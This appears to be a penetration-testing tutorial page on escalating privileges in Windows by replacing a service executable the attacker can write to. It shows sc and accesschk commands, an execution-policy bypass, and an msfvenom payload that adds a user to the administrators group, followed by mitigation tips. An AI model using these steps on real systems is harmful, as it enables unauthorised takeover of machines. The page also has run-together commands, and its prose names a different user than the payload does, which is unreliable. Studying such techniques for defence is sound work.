Many Windows services run executables from specific file paths, such as C:\Program Files\. If the file permissions on these executable files are misconfigured, attackers can potentially replace the executable with a malicious one to escalate privileges or perform other malicious activities.
sc create up-server binPath= "C:\Windows\System32\PING.EXE"sc qc up-serversc query up-serversc start up-server- Modify
binPathwith command-line arguments:
sc config up-server binPath= "C:\Windows\System32\PING.EXE 8.8.8.8"sc start up-server-
PowerUp : A PowerShell-based tool for identifying and exploiting Windows privilege escalation vulnerabilities, including insecure service permissions.
-
SC (Service Control) : Command to query service security descriptors:
sc sdshow <service_name>sc sdshow up-server- accesschk.exe (Sysinternals) : A tool to view effective permissions on files, services, or registry keys:
accesschk64.exe -uvwc up-server- Query Service Information
- To check a service's current status and path:
sc query up-serversc qc up-server- Check File Permissions with
accesschk
- Use
accesschk.exeto check if a specific user has write access to the service executable path:
accesschk64.exe -wvu "C:\Windows\System32\PING.EXE"This will show if the current user has write (
w) or other permissions on the service executable.
- To check another file (e.g.,
PING.EXE):
accesschk64.exe -wvu "C:\Windows\System32\PING.EXE"- Inspect File Permissions with PowerShell
- Using PowerShell, you can retrieve detailed file permissions:
powershell.exe -ep bypassGet-Acl "C:\Windows\System32\PING.EXE" | fl- If you identify that you have write access to a service executable file, you can exploit this by replacing the executable with a malicious file.
- Stop the Service
- To begin the exploitation, first stop the service:
sc stop up-server- Replace the Executable
- Create a malicious payload using
msfvenom:
msfvenom -p windows/exec CMD="net localgroup administrators armour /add" -f exe -o PING.EXEThis command generates a malicious executable (
PING.EXE) that will add the useru1to theadministratorsgroup.
- Replace the target executable (
PING.EXE) with your malicious payload. The file should be placed in the same directory as the legitimate service executable.
- Start the Service Again
- After replacing the executable, start the service again to trigger the execution of the malicious payload:
sc start up-server- Delete a service
sc delete nc-
Audit File Permissions: Regularly check the permissions of executable files used by critical services. Ensure that only trusted accounts (such as SYSTEM or administrators) have write access to them.
-
Use
sc sdshowto review security descriptors and restrict who can modify service configurations or binaries. -
Control Access to Directories: If a service executable resides in a publicly writable directory (e.g.,
C:\Program Files\orC:\Windows\System32\), it could be at risk if the permissions are misconfigured.
- Services Exploitation — parent hub
- Insecure Service Permissions(binPath) — sibling service misconfiguration
- Unquoted Service Path Vulnerability — related path-based service abuse
- Dynamic Link Library Hijacking(DLL Hijacking) — writable path enabling DLL hijack